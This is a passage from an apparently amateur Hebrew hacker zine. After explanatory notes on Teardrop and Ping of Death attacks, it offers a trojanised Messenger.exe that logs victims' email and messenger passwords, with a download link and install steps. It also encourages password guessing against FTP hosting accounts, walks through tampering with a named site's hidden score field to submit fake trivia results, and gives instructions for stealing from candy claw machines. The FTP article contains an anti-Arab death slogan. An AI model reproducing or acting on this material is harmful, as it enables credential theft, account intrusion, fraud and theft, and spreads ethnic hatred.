‫מנות ‪ IP‬יכולות להגיע לגודל של ‪ ,k64‬אולם לרוב רכיבי החומרה של הרשתות לא יכולים לטפל‬
‫במנות בגודל זה‪ .‬מסיבה זו‪ ,‬המנות מפורקות לאורך הדרך לחלקים ניתנים לטיפול ומורכבות‬
‫מחדש עם ההגעה ליעד‪ .‬הכותרת של מנת ‪ IP‬מכילה את המידע הדרוש להרכבה מחדש של‬
‫המנה כולה‪ ,‬כולל האם המידע מהווה חלק של מנה‪ ,‬מה גודל המנה כולה ולהיכן במנה שייך חלק‬
‫זה‪.‬‬

‫‪286‬‬
‫התקפות ‪ Teardrop‬והתקפות דומות שולחות מנות ‪ TCP‬או ‪ UDP‬אשר כוללות כותרת שגויה‪,‬‬
‫כל שהמחשב המארח מנסה להרכיב מחדש מנה שלמה בהתבסס על מידע שגוי‪ .‬התוצאה עלולה‬
‫להיות קריסה‪ ,‬היתקעות או ביצועים איטיים במיוחד‪.‬‬

‫התקפת ‪ Ping Of Death‬התקפה מסוג זה הידועה לשמצה מנצלת באג במערכות הפעלה של‬
‫רשתות ‪ -‬כולל גירסאות רבות של יוניקס‪ ,‬חלונות‪ macOS ,‬ועוד ‪ -‬אשר גורם למחשב המארח‬
‫לקרוס או להיתקע כאשר הוא מקבל מנת ‪ ICMP Echo Request‬שגודלה עולה על ‪.k64‬‬

‫לרוב הגרסאות האחרונות של מערכות ההפעלה יש תיקון או טלאי להתמודדות עם התקפה מסוג‬
‫זה‪ .‬אולם‪ ,‬על מנת להימנע מהתקפות מבוססות ‪ ICMP‬מכל הסוגים‪,‬אתה יכול להגדיר את‬
‫"חומת האש" שלך כך שתחסום כל בקשת ‪ ICMP‬נכנסת‪ ,‬אולם לא תגובות או הדי ‪ICMP‬‬
‫נכנסים‪ .‬התוצאה היא שאיש מחוץ לארגון שלך לא יוכל לשלוח ‪ ping‬אל מחשבים המארחים‬
‫הפנימיים‪ ,‬מה שבטוח יותר בדרך כלל‪ ,‬אולם אנשים מתוך הרשת יוכלו לשלוח בקשות ‪ping‬‬
‫והתגובות יחזרו מבלי להיחסם‪ .‬ייתכן שיהיה עליך לערוך ניסויים בכללי "חומת האש" על מנת‬
‫להגיע לביצועים אופטימליים‪.‬‬

‫התקפות ‪ DoS‬נוספות רוב התקפות ‪ DoS‬הן גירסאות כלשהן של ההתקפות שתיארתי‪ .‬אולם‪,‬‬
‫אין שום ספק שפורצים עקשניים יצליחו למצוא התקפות חדשות‪ ,‬בהתבסס על באגים שלא‬
‫אותרו עדיין במערכות הפעלה שונות‪.‬‬

‫‪HaSaTaN‬‬
‫פריצה ל ‪ MSN MESENGER‬ו ‪YAHOO MESENGER‬‬
‫היי!‬
‫טוב ישבתי ובניתי לכם תוכנה בשביל לגנוב לאנשים את הסיסמה ל‪ EMAIL -‬ולמסנג'ר‪.‬‬

‫* אפשר להוריד את הקבצים אם ספר זה או להוריד אותם מ‬


‫‪www.topcities.com/hackerim/herut.zip‬‬
‫התקנה‪:‬‬

‫‪ -‬סגור את המסנג'ר המקורי אם פועל (גם מהאיקונים למטה)‪.‬‬


‫‪ -‬הפעל את הקובץ ‪.Messenger.exe‬‬
‫‪ -‬תלחצו כן בשאלה אם רוצים להחליף את הקובץ‪....‬‬
‫‪ -‬סיגרו את המסנג'ר החדש‪.‬‬
‫‪ -‬תפעילו אותו עוד פעם‪.‬‬
‫אם אין בעיות והכל בסדר אז עקרונית כל סיסמה שיקלידו תכנס לקובץ ‪c:\messenger.txt‬‬

‫הסרה‪:‬‬

‫‪ -‬הפעל את הקובץ ‪.MsnRestor.exe‬‬


‫‪ -‬לחץ על "שחזר"‪.‬‬
‫וזהו הכל כמו בהתחלה!‬
‫‪HaSaTaN‬‬

‫‪287‬‬
‫‪FTP‬‬
‫היי‪ ,‬ושלום לכולם‪ ,‬היום אני יסביר קצת על פרוטוקול ה‪( FTP -‬מוות לערבים!)‪.‬‬
‫אז בלי קשקושים ניגש ישר לאינדקס של הכתבה‪:‬‬

‫* מהי מטרת ה‪FTP -‬‬


‫* כיצד משתמשים ב‪FTP -‬‬
‫* שימוש ב‪ FTP -‬כעזר לפריצה לאתר‬

‫מהי מטרת ה‪FTP -‬‬

‫אוקי‪ ,‬אז ככה‪:‬‬


‫בתחילת הדרך של ה‪ FTP -‬שימש ה‪ FTP -‬לחברות מסחריות שרצו להעביר קבצים בינם לבין‬
‫עצמם ב‪ ,ONLINE -‬לשם כך הומצא ה‪ ,FTP -‬ה‪ FTP -‬איפשר מעבר קבצים מכול סוג בצורה‬
‫נוחה ביותר ומהירה יותר מכל דבר אחר (טלנט‪ ,‬אימייל כו')‪.‬‬
‫בתוך שרת ה‪ FTP -‬עצמו ישנם מספר מרכיבים‪ ,‬הרכיב העיקרי של ה‪ FTP -‬הוא ה‪ADMIN -‬‬
‫כן‪ ,‬כן ‪ -‬גם ב‪ FTP -‬כמו ב‪ NOVELL -‬לדוגמא ישנו ‪ ,ADMIN‬ההבדל היחידי הוא שבשרתי‬
‫ה‪ FTP -‬המסחריים היום ושהיו ה‪ ADMIN -‬יכול להעלות קבצים ולמחוק אותם‪ ,‬ואילו שאר‬
‫המשתמשים שמקבלים ססמא אחרת מה‪ ADMIN -‬ביכולתם רק להוריד את הקבצים‪.‬‬
‫הטכנולוגיה החדישה הזו איפשרה העברת מידע במהירות גדולה פי ‪ 2‬מכל דבר אחר‪.‬‬
‫כיום ‪ -‬ה‪ FTP -‬משמש גם לצורך העלאת קבצים לאתרים‪ ,‬לדוגמא‪ :‬השרת ‪GEOCITIES‬‬
‫(שעליו מאוכסן אתרכם הנאמן) תומך ב‪ ,FTP -‬כתובתו היא‪ FTP.GEOCITIES.COM :‬רק‬
‫לי ‪ -‬כבעל חלק בשרת יש את הרשות להעלות קבצים ולמחוק‪ ,‬מה שכן ‪ -‬האנשים באתר שלי‬
‫יוכלו להוריד קבצים מה‪ FTP -‬שלי כאוות נפשם!‬

‫כיצד משתמשים ב‪FTP -‬‬

‫ישנם ‪ 3‬דרכים לשימוש בשרתי ‪:FTP‬‬

‫‪ .1‬הדרך הראשונה ‪ -‬זהו כמובן התוכנות שעולות כסף‪ ,‬מביניהם ‪ -‬הטובות ביותר הן‪cute-ftp :‬‬
‫ו‪.WSFTP -‬‬

‫‪288‬‬
‫השיטה הזאת ממש לא מומלצת‪ ,‬התוכנות ממש לא חסינות מפני פגיעות של האקרים‪ ,‬עם‬
‫מטריין נטבאס פשוט ‪ -‬ניתן להעתיק את כל הסיסמאות‪.‬‬

‫הערה‪ :‬ניתן להוריד פאצ'ים (קראקים) לתוכנות הללו בבל אתר קראקים נורמלי‪.‬‬

‫‪ .2‬הדרך השניה ‪ -‬וזה לדעתי הטוב ביותר (בכול מקרה אני משתמש בשיטה הזו)‪ ,‬זהו דפדפן‬
‫האקספלורר שלכם‪ ,‬לדוגמא‪ ,‬התחברו לאינטרנט והקישו את הכתובת הבאה‬ ‫ה‪ FTP -‬של‬
‫בשורת הכתובת שבאקספלורר‪:‬‬
‫‪ftp://d_k_hack@ftp.geocities.com‬‬
‫אוקי ‪ -‬לחצתם? נניח שכן‪ ,‬מה שאתם מיד תראו זה מן ‪( ALERT‬תיבת הודעה) שבה אתם‬
‫סיסמא‪ ,‬בואו ננתח את הכתובת שנתתי לכם‪:‬‬ ‫מתבקשים להכניס‬

‫א‪ .‬אפשר לראות את הסימן המתחיל בכתובת בו ‪ -‬מתחילה כל כתובת של שרת ‪ FTP‬זהו ה‪-‬‬
‫‪.ftp://‬‬
‫ב‪ .‬מיד אחרי זה אנו רואים את שם המשתמש שלי ב‪( GEOCITIES -‬שזה במקרה‪:‬‬
‫‪ )d_k_hack‬הבאת השם‪-‬משתמש לשרת כמובן תדרוש סיסמא‪.‬‬
‫ג‪ .‬אנו רואים את הסימן @ נמצא אחרי השם משתמש שלי‪ .‬זה אומר פשוט להיכנס אם ‪user‬‬
‫הזה אל מה שיבוא אחרי ה‪.@ -‬‬
‫ד‪ .‬ולבסוף אנו רואים את שרת ה‪ FTP -‬בעצמו שזה‪.ftp.geocities.com :‬‬

‫כך בעיקרון בנויה כל כתובת של שרת‪.FTP -‬‬


‫חוץ‪ ,‬מסוג אחד של שרתים סוג שרתי ה‪( ANONYMOUS -‬אנונימי)‪ ,‬שרתים אלה פזורים‬
‫והם לא דורשים שום סיסמא הם פשוט נכנסים באופן אנונימי‪.‬‬ ‫לרוב על‪-‬פני הרשת‬
‫בד"כ‪ ,‬שרתים כאלה הם שרתים של אתרי תוכנות גדולים‪ ,‬שמה אנשים יכולים לשוטט באין‬
‫מפריע‪.‬‬

‫הערה‪ :‬במקום להיכנס לשרת ה‪ FTP -‬כך‪ ftp://xx@xx.xx.xx :‬ואחרי זה להקליד את‬
‫הסיסמא בתוך הקופסא ‪ -‬אפשר פשוט לכתוב כך בשורת הכתובת‪ftp://xx:yy@zz.zz.zz :‬‬
‫כש‪:‬‬
‫‪ = xx‬שם משתמש‪.‬‬
‫‪ = yy‬סיסמא‪.‬‬
‫‪ = zz‬כתובת השרת‪.‬‬

‫‪ .3‬הדרך השלישית ‪ -‬הכי מסובכת‪ ,‬אבל הכי מאובטחת‪.‬‬


‫כידוע הפורט (היציאה) של ה‪ FTP -‬היא‪.21 :‬‬
‫שנייה לפני שאתם ממשיכים לקרוא‪ ,‬וודאו שקראתם בגיליון הקודם (גיליון ‪ )13‬את הכתבה‬
‫על טלנט‪ ,‬ולא ‪ -‬לא תבינו כלום!‬
‫אז ככה לחצו‪ :‬התחל<הפעלה‪telnet zz.zz.zz 21 :‬‬
‫כמובן ש‪ = zz -‬כתובת שרת ה‪.FTP -‬‬
‫מה שעשינו פה‪ ,‬זה כך‪ :‬פשוט התחברנו ידני אל שרת ה‪.FTP -‬‬
‫אם תתחברו לשרת אנונימי תצטרכו לכתוב כך‪:‬‬
‫אתה‪>anonymous :‬‬
‫‪>ok‬‬ ‫השרת‪:‬‬
‫אם אני לא טועה בשביל שהשרת יזהה אותך תצתרך להקיש את האימייל שלך (אל תכתבו את‬
‫האמיתי)‪.‬‬
‫אם אתם נכנסים לשרת שדורש סיסמא תצטרכו להקיש כך‪:‬‬

‫‪>USER username‬‬
‫בשלב זה תצטרכו להמתין מעט‪>...‬‬
‫‪>PASS password‬‬
‫בשלב זה תצטרכו להמתין מעט‪>...‬‬
‫‪>help‬‬

‫‪289‬‬
‫קודם כל‪ ,‬לפני שבכלל תכתבו את כל זה אתם תראו שהשרת כותב שהשרת לא משתמש‬
‫באנונימיות‪.‬‬
‫ה‪ username -‬זהו השם משתמש שלכם‪.‬‬
‫ה‪ password -‬זוהי הסיסמא שלכם‪.‬‬
‫הקפידו לרשום ‪ PASS‬ו‪ USER -‬באותיות גדולות‪.‬‬
‫הפקודה ‪ help‬כזכור לכם ‪ -‬תראה לכם את כל הפקודות האפשריות‪.‬‬

‫‪ .4‬שיטה חביבה למדי‪ ,‬זוהי השיטה של ה‪ ,DOS -‬פשוט מאוד עשו כך‪:‬‬
‫התחל<הפעלה< והקישו‪FTP :‬‬
‫כתבו בחלון הדוס שנפתח‪:‬‬
‫‪open zz.zz.zz‬‬
‫כש‪ zz.zz.zz :‬זהו כמובן הכתובת של שרת ה‪.FTP -‬‬
‫אתם תתבקשו להקליד את שם המשתמש ולאחר מכן את הסיסמא‪.‬‬
‫אם כתבתם בטעות סיסמא או שם משתמש לא נכונים‪ ,‬תוכלו להקליד‪ user :‬ותוכלו להקיש עוד‬
‫פעם שם משתמש וסיסמא‪.‬‬
‫לאחר שנכנסתם (עשיתם ‪ )LOGIN‬הקישו ‪ - help‬ותוכלו לראות את כל האפשרויות להקלדה‪.‬‬

‫‪HaSaTaN‬‬

‫שימוש ב‪ FTP -‬כעזר לפריצה לאתר‬

‫כמובן שהחלק הזה יעבוד רק על אתרים המאוכסנים על שרת ‪.FTP‬‬


‫אם אתם משתמשים בשיטה השנייה (דפדפן ה‪ FTP -‬של האקספלורר) או בשיטה השלישית‬
‫(טילנוט) תוכלו לנסות כמה פעמים שתרצו לכתבו סיסמא‪ ,‬לדוגמא‪:‬‬
‫‪ftp://d_k_hack:xxx@ftp.geocities‬‬
‫כתבו את זה באספלורר ותבדקו מה הסיסמא ותנסו לנחש‪.‬‬
‫כנ"ל תוכלו לנסות לנחש את הסיסמא בלי סוף גם אם שיטה מספר ‪.)dos( 4‬‬
‫בשביל לעודד אתכם קצת‪ ,‬הסיסמא שלי בנויה רק מ‪ 14 -‬תווים‪.‬‬
‫או אם אתם מעדיפים להשתמש בטילנוט‪ ,‬פשוט כתבו סיסמא שתנחשו‪ ,‬רוב הסיכויים שזה לא‬
‫יצליח‪ ,‬אבל אם תנסה להיכנס (‪ )LOGIN‬דרך האתר של השרת (‪ )www.geocities.com‬אחרי‬
‫כ‪ 10 -‬כניסות שגויות לא תוכל (אתה) יותר להיכנס לשרת בזמן הקרוב‪.‬‬

‫‪HaSaTaN‬‬

‫‪290‬‬
‫‪Fun-city‬‬
‫במשך שיטוטי הרבים באינטרנט‪ ,‬חיפשתי דברים מעניינים לעשות‪ ,‬בין השאר‪ ,‬מצאתי את‬
‫האתר‪ - www.funcity.co.il :‬האתר הזה די נחמד ויש שם טריוייה חמודה‪.‬‬
‫את האתר הזה גיליתי לפני משהו כמו שנתיים‪ ,‬וכבר אז ניסיתי לפרוץ את הטריוייה ולא הלך‬
‫לי‪...‬‬
‫היום חזרתי אל האתר הזה‪ ,‬ופרצתי את הטריוייה ‪ -‬אני יעבור איתכם צעד צעד‪ ,‬ויראה לכם איך‬
‫פרצתי‪ ,‬רק‪ ...‬משהו אחד‪ ,‬אם אתם קוראים את הכתבה הזאת‪ ,‬על תשנו את השיאים (שכרגע‬
‫הם שלי) כי אני גיליתי את זה‪ ,‬קצת כבוד לפורץ הנוצץ‪ ....‬סתאאאאאם!‬

‫טוב‪ ,‬כנסו לאתר‪ ,‬נכנסתם? יופי!‬


‫כנסו לטריוייה שממוקמת בכתובת הבאה‪:‬‬
‫‪http://www.funcity.co.il/cgi-bin/fun/index.html‬‬
‫לחצו על "לחץ כאן כדי לפתוח משחק ותתחילו לשחק"‪.‬‬
‫יפתח חלון חדש‪ ,‬בלי שום אפשרויות כגון "קידוד"‪" ,‬הצג קוד מקור" וכדומה עוד נגיע אל זה‪.‬‬
‫תתחילו את המשחק‪ ,‬עכשיו כמה דברים שכדאי לנו לשים לב אליהם‪ ,‬שזה בעצם המטרה שלנו‪:‬‬
‫לראות את הקוד מקור‪.‬‬
‫האנשים ה"חכמים" שהכינו את הטריוייה חסמו את שלוש מתוך ‪ 4‬הדרכים הידועות להצגת‬
‫הקוד מקור‪:‬‬

‫א‪ .‬לחיצה ימנית (הוא כותב‪" :‬מקש זה אינו חוקי")‪.‬‬


‫ב‪ .‬הם הורידו את כל סרגלי הכלים ואת הסטטוס‪-‬בר (הדבר הזה למטה)‪.‬‬
‫ג‪ .‬סרגל הכתובת‪ ,‬אם נידע את הכתובת המדויקת של הדף בו מתחילה הטריוייה נוכל להיכנס‬
‫אליו מדף גדול ללא הגבלות של סרגלי כלים ‪ -‬ו‪ .....‬לראות את הקוד מקור (ולעשות עוד כמה‬
‫דברים)‪.‬‬

‫והם לא חסמו את האפשרות ה‪ .4 -‬למזלינו ‪ -‬אי אפשר לחסום אותה‪ ...‬מהי???‬


‫אוקי‪ ,‬בוא נראה‪ ,‬נגיד נכנסתם לאתר כלשהו‪ ,‬נניח ‪ ,walla‬כל דף שתגלשו יכנס להיסטוריה‬
‫שלכם‪ ,‬או במילים אחרות לרשימת האתרים שביקרתם‪.‬‬
‫נכנסתם ל‪ ? computers.walla.co.il :‬בפעם הבאה שתלכו לסרגל הכתובת (המקום שבו‬
‫כותבים את הכתובת של האתר שאתם רוצים להיכנס אליו) ותכתבו‪ .computers :‬הוא‬

‫‪291‬‬
‫אוטומתית יראה לכם את כל הדפים שביקרתם ב‪ ,walla computers :‬את זה מן הסתם אתם‬
‫יודעים‪ ,‬אבל איך מנצלים את זה אצלינו?‬
‫פשוט מאוד!‬
‫אחרי ששיחקתם‪ ,‬וקיבלתם איזה ‪ 20‬נקודות (במקרה הטוב) תפתחו חלון חדש‪ ,‬ותקלידו‪:‬‬
‫‪ /http://www.funcity.co.il‬ברגע זה אמורה להיפתח לכם הרשימה של כל הדפים שהייתם‬
‫באתר הזה‪ ,‬ואיזה פלא גם דפי הטריוייה שלנו מאוכסנים שמה‪ ,‬מגניב אה?‬
‫כנסו לראשון שקשור לטריוייה‪ ,‬בשביל שלא תצטרכו לטרוח‪ ,‬הנה הכתובת‪:‬‬

‫‪http://www.funcity.co.il/cgi-‬‬
‫‪bin/trivia/triv.cgi?funcity.co.il&trivia&HPW23ds&DesignedByFuncity&Allright‬‬
‫‪)sreserved(c‬‬

‫עכשיו‪ ,‬התקדמנו כבר‪ ,‬אנחנו יכולים לראות את קוד המקור‪...‬‬


‫בשביל הקטע‪ ,‬תלחצו תצוגה < קוד מקור ‪ -‬אם זה עובד ואתם רואים את הקוד מקור תמשיכו‬
‫הלאה‪ ,‬עם לא ‪ -‬תעשו הכל עוד פעם!‬
‫לחצו עכשיו על‪" :‬לחצו כאן כדי להתחיל לשחק"‪.‬‬
‫עצה שלי‪ ,‬תעלו את הקוד מקור ותתחילו לחרוש אותו‪.....‬‬
‫אבל‪......‬‬
‫בגלל שאני כזה חמוד‪ ,‬וכבר ניסיתי לחרוש את הקוד מקור‪ ,‬הבנתי שיש משהו הרבה יותר פשוט‬
‫שאני יכול לעשות‪.‬‬
‫השאלה שקיבלתי היא‪:‬‬
‫מתי נוסד תיאטרון המטאטא‪.‬‬
‫אין לי מושג!!!!!!!!!!!!!!‬
‫לחצתי סתם על משהו‪ ,‬נגיד על ד'‪ ,‬זה לא נכון ‪ -‬זכיתי ב‪ -500 :‬נקודות‪ ,‬בעסה?‬
‫לא ! ממש לא‪ ,‬תעשו הקודם (‪ )muhahaha‬ואתם תראו ששאלה אחת תיהיה בצבע שחור ‪ -‬כל‬
‫השאר בצבע צהוב מזעזע ומגעיל‪.....‬‬
‫תלחצו על מה שנשאר בשחור‪ ,‬ואיזה פלא?? זו התשובה הנכונה‪....‬‬
‫תגמרו ככה את הטריוייה‪ ,‬עד שיגמרו לכם ‪ 20‬השאלות (שמן הסתם עניתם אליהם נכון‪,‬‬
‫חחח‪ ,).....‬כשגמרתם תגיעו למקום כזה‪:‬‬

‫נגמר המשחק !‬
‫הניקוד הסופי שלך הוא ‪! 5750‬‬

‫"לחץ כאן כדי לרשום את התוצאה"‬

‫‪5750‬‬ ‫ניקוד‪:‬‬

‫זהו?‬
‫איזה לוזרים‪ ,‬זה כל מה שהצלחתם לעשות???????????‬
‫בוא נשנה את זה!‬
‫קודם כל תעשו‪ :‬קובץ < שמירה בשם‪...‬‬
‫ותשמרו את הדף הסופי באיזה תיקיה שתבחרו‪.‬‬
‫לכו לתיקייה הזאת ותפתחו את הקוד מקור של הדף‪.‬‬
‫ונתחיל לעבור עליו‪:‬‬

‫<!‪>"DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN‬‬


‫<!‪saved from url=(0225)http://www.funcity.co.il/cgi- --‬‬
‫‪bin/trivia/triv.cgi?triv&300&20&5450&45,66,7,69,76,72,79,83,106,68,91,87,24,86‬‬
‫‪,39,62,8,113,73,37&funcity.co.il&trivia&HPW23ds&DesignedByFuncity&Allrig‬‬
‫‪>-- htsreserved(c)&Triviabuiltby(c)2001NirGreshler‬‬

‫<‪>HTML><HEAD><TITLE‬פאן סיטריוויה<‪>TITLE/‬‬

‫‪292‬‬
>META content="text/html; charset=windows-1255" http-equiv=Content-Type<
{ STYLE type=text/css>A:link<
COLOR: #000000; TEXT-DECORATION: none
}
{ A:hover
COLOR: #000000; TEXT-DECORATION: none
}
{ A:visited
TEXT-DECORATION: none
}
{ A:active
TEXT-DECORATION: none
}
>STYLE/<

{ STYLE>.button<
FONT-FAMILY: david
}
{ nir.
BACKGROUND-COLOR: #ffcc00; BORDER-BOTTOM: buttonhighlight 0px
outset; BORDER-LEFT: buttonhighlight 0px outset; BORDER-RIGHT:
buttonhighlight 0px outset; BORDER-TOP: buttonhighlight 0px outset;
CURSOR: default; FONT-FAMILY: david; FONT-SIZE: 10pt; POSITION:
absolute; TEXT-ALIGN: right; VISIBILITY: hidden; WIDTH: 50px
}
{ menuitems.
PADDING-LEFT: 15px; PADDING-RIGHT: 10px
}
>STYLE/<

>SCRIPT language=JavaScript1.2<

;"var menuskin = "nir

{ )(function showmenuie5
;var rightedge = document.body.clientWidth-event.clientX
;var bottomedge = document.body.clientHeight-event.clientY
;"" = event.srcElement.style.color
)if (rightedge < ie5menu.offsetWidth
ie5menu.style.left = document.body.scrollLeft + event.clientX -
;ie5menu.offsetWidth
else
;ie5menu.style.left = document.body.scrollLeft + event.clientX
)if (bottomedge < ie5menu.offsetHeight
ie5menu.style.top = document.body.scrollTop + event.clientY -
;ie5menu.offsetHeight
else
;ie5menu.style.top = document.body.scrollTop + event.clientY

293
;"ie5menu.style.visibility = "visible
;return false
}
{ )(function hidemenuie5
;"ie5menu.style.visibility = "hidden
}

>SCRIPT/<

>META content="Microsoft FrontPage 4.0" name=GENERATOR></HEAD<


>"files/back.gif_‫="פאן סיטריוויה‬BODY background<
>DIV/< ‫>אינו חוקי‬BR< ‫>מקש זה‬DIV id=ie5menu<
>SCRIPT language=JavaScript1.2<
{ )if (document.all && window.print
;ie5menu.className = menuskin
;document.oncontextmenu = showmenuie5
;document.body.onclick = hidemenuie5
}
>SCRIPT/<

>CENTER<
>TABLE border=0 height=240 width=590<
>TBODY<
>TR<
TD align=right colSpan=4 height=70><IMG align=center<
>files/trivia.gif"></TD></TR_‫="פאן סיטריוויה‬src
>TR<
>TD align=middle><FONT color=purple size=+3<
< ‫>!נגמר המשחק‬FORM action=writescore.cgi method=post<
‫ הניקוד‬BR></FONT>5750
BR><BR><INPUT name=type type=hidden< ‫הסופי שלך הוא‬
value=writename> <INPUT
name=check type=hidden value=ok> <INPUT name=points type=hidden
‫="לחץ כאן כדי לרשום‬value=100000> <INPUT class=button type=submit value
>"‫תוצאה‬
>FORM></TD></TR/<
>TR<
TD align=middle><FONT color=red size=+3>5750 <IMG align=center<
>files/points.gif"> </FONT></TD></TR_‫="פאן סיטריוויה‬src
>TR<
>TD tr <></TR></TBODY></TABLE></CENTER></BODY></HTML<

.‫ תורידו אותו‬,ctrl ‫קודם כל יש באמצע סקריפט שמונע לעשות‬


.)‫ (שמאלי‬shift + )‫ (שמאלי‬ctrl :‫תישרו לשמאל ע"י‬

:‫ הזה‬,‫החלק החשוב בקוד מקור זה החלק האחרון‬

294
‫<‪>CENTER‬‬
‫<‪>TABLE border=0 height=240 width=590‬‬
‫<‪>TBODY‬‬
‫<‪>TR‬‬
‫<‪TD align=right colSpan=4 height=70><IMG align=center‬‬
‫‪"=src‬פאן סיטריוויה_‪>files/trivia.gif"></TD></TR‬‬
‫<‪>TR‬‬
‫<‪>TD align=middle><FONT color=purple size=+3‬‬
‫<‪!>FORM action=writescore.cgi method=post‬נגמר המשחק <‬
‫‪ BR></FONT>5750‬הניקוד‬
‫הסופי שלך הוא <‪BR><BR><INPUT name=type type=hidden‬‬
‫‪value=writename> <INPUT‬‬
‫‪name=check type=hidden value=ok> <INPUT name=points type=hidden‬‬
‫‪"=value=100000> <INPUT class=button type=submit value‬לחץ כאן כדי לרשום‬
‫תוצאה">‬
‫<‪>FORM></TD></TR/‬‬

‫שימו לב לקטע שבו מועבר הניקוד לשרת‪ ,‬זה ניראה ככה‪:‬‬


‫<‪>INPUT name=points type=hidden value=100000‬‬
‫ישנו משתנה שמועבר לשרת ובו מוגדרים הנקודות‪ ,‬תשנו את זה לכמה נקודות שבא לכם‪,‬‬
‫ותשמרו את הקובץ‪ ,‬תיכנסו לתיקייה שבה שמרנו את כל הקבצים של הדף ותלחצו פעמיים על‬
‫הדף ‪.html‬‬
‫אתם תראו שם הכל אותו דבר‪ ,‬אבל תזכרו שהערך שמוער ה לא מה שאתם רואים שכתוב שם‪,‬‬
‫אלא מה ששינינו‪.‬‬
‫אופס‪......‬‬
‫לא קרה כלום מה קרה?‬
‫אז ככה‪ ,‬אם תשימו לב‪ ,‬הקוד המקורי אינו כתוב פה‪ ,‬איך אני יודע?‬
‫תראו‪ ,‬הנה‪ ,‬כתוב פה‪:‬‬
‫<‪>FORM action=writescore.cgi method=post‬‬
‫כלומר‪ ,‬הוא צריך את הקובץ‪ writescore.cgi :‬ואין לנו אותו בתיקייה של כל הקבצים‪ ,‬מה‬
‫עושים????‬
‫אז ככה‪ ,‬במקום שיהיה כתוב‪:‬‬
‫<‪>FORM action=writescore.cgi method=post‬‬
‫נכניס לו את המקום שזה באמת נמצא שם‪ ,‬איפה זה?‬
‫פה‪:‬‬
‫<‪FORM action=http://www.funcity.co.il/cgi-bin/trivia/writescore.cgi‬‬
‫‪>method=post‬‬
‫בכתובת הזאתי‪:‬‬
‫‪/http://www.funcity.co.il/cgi-bin/trivia‬‬
‫מאוכסנים כל קבצי ה‪ cgi :‬וגם הקובץ ‪writescore.cgi‬‬

‫אחרי ששינינו עוד פרמטר (את הפרמטר של ה‪.)form action -‬‬


‫נוכל לשמור את הדף‪ ,‬ולהריץ אותו והכל יעבוד!!!!!!!!‬

‫‪HaSaTaN‬‬

‫‪295‬‬
‫גניבה מהמכונות של הממתקים‬
‫הטקסט נכתב רק לאנשים בעלי אמצעים (כסף!!!) שקל ‪ 1‬יספיק‪.‬‬
‫‪ ,OK‬הנה טריק נחמד שהמצאתי ליפני מלא זמן והוא עדיין עובד!!!‬
‫טוב אז מדובר במכונות של מסטיקים וסוכריות טופי על מקל על מקל ‪ +‬מסטיק ועוד‪...‬‬
‫לא להתבלבל מדובר רק במכונות שאפשר להשתמש עד שזוכים!!!‬
‫עכשיו נבין מה הולך מאז שמכניסים את השקל ועד שנגמר המשחק‪,‬‬
‫טוב‪ ,‬מכניסים את השקל ‪ -‬השקל יורד בצנרת שלו ועובר אימות (אם זה שקל אמיתי)‪.‬‬
‫אחרי האימות יש ‪ 2‬אפשרויות‪:‬‬

‫‪ -‬נופל לתוך סל המטבעות ונמצא עם כל החברים שלו‪.‬‬ ‫שקל אמיתי‬


‫שקל לא אמיתי (או כל דבר אחר) ‪ -‬אז תלוי במכשיר‪ ,‬לפעמים השקל נתקע ומחכה שתלחץ על‬
‫הכפתור האדום שדרכו הכנסת את הכסף או ישר נופל לתא העודף‪.‬‬

‫עכשיו‪ ,‬אם הכנסת שקל אמיתי אחרי האימות המשחק מתחיל ויש לך זמן מוקצב לכל משחק‬
‫אתה לוחץ על הלחצנים‬
‫ומזיז את הכף הגדולה ימינה שמאל קדימה אחורה ואז לוחץ על הכפתור האדום העגול (בדרך‬
‫כלל) והכף יורדת נפתחת נסגרת ועולה בחזרה וחוזרת למקום הראשוני שלה (מעל הפתח של‬
‫היציאה)‪.‬‬
‫הכף נפתחת וכל מה שהיה בפנים נופל לתוך המנהרה לכיוון החור יציאה ‪.‬‬
‫אם היתה סוכריה ומשחק נגמר ואם לא אז יש עוד סיבוב‪.‬‬
‫אז איך זה קרה ?!?! איך המכונה יודעת אם זכיתי או לא?‬
‫אז זהו הכל קורה בתוך המנהרה!‬

‫מה קורה במנהרה??‬

‫לעיניים ‪ -‬כל זה נראה כאילו הסוכריה רק נפלה זהו ושום דבר לא קרה אבל מי שמסתכל טוב‬
‫יבין ששם נמצא כל הקטע‪ .‬מה שבעצם קורה זה שבתוך המנהרה יש עין (לא לא עיין של‬
‫דרקולה‪ - ...‬עין אלקטרונית)‪ ,‬כשהסוכריה נופלת היא עוברת בתוך המנהרה ועוברת דרך הקרן‬
‫שהעין משדרת (העין משדרת קרן ומחקה לקרן חוזרת בעוצמה מסוימת ואם גוף נכנס דרך הקרן‬
‫הוא מחזיר את הקרן אבל בעוצמה שונה וכך העין יודעת עם עבר משהו דרכה)‪.‬‬
‫ואז המשחק נגמר השעון מאופס והאורות נכבים (או משנים צבע תלוי במכשיר)‪.‬‬

‫‪296‬‬
‫מה שאנחנו צריכים לעשות זה בעצם רק למנוע מהסוכריה לעבור דרך העין ולאסוף מלא‬
‫סוכריות‪.‬‬

‫איך עושים את זה???‬

‫טוב‪ ,‬אז יש פה ‪ 2‬טריקים‪:‬‬

‫שיטה א' ‪ -‬שקית‪:‬‬

‫מצרכים‪:‬‬
‫שקית נילון גדולה ‪ /‬קרטון של פיצה (של המשולש לא המגש)‪ ,‬קופסה בגודל של המנהרה ‪.‬‬
‫עוד שקית גדולה ‪ -‬בישביל לאחסן את השלל‪.‬‬
‫דבק סלוטיפ עדיף מסקנטייפ הגדול‪.‬‬
‫ידיים ארוכות (לא יותר מידי)‪.‬‬
‫מוח (הרבה!)‪.‬‬
‫הרבה מזל‪.‬‬
‫חוש אומנותי‪.‬‬
‫סכין למקרה הצורך (דבק כבר יש‪ ...‬לא צריך חבל‪.)...‬‬

‫‪ ,OK‬לעבודה!‬
‫תכינו מראש את השקית נילון גדולה ‪ /‬קרטון של פיצה ‪ /‬קופסה בגודל של המנהרה ותדביקו‬
‫בקצה העליון שלהם‬
‫‪ 2‬חתיכות דבק (אל תדביקו הכל תשאירו חלק לא מודבק שאותו תצמידו לבפנים של המנהרה)‬
‫ו‪ 2 -‬בקצה התחתון‪.‬‬
‫לכו למכונה ותדביקו את השקית ‪ /‬קרטון ‪ /‬קופסה כמה סנטימטרים מעל העין ושהם לא יפלו‬
‫ויסתירו לעין ככה שכשהסוכריות יפלו הם יפלו לתוך השקית ולא יעברו דרך העיין (תמונה ‪,)6‬‬
‫ולמרות שתזכו העין לא תראה שמשהו עבר‪.‬‬
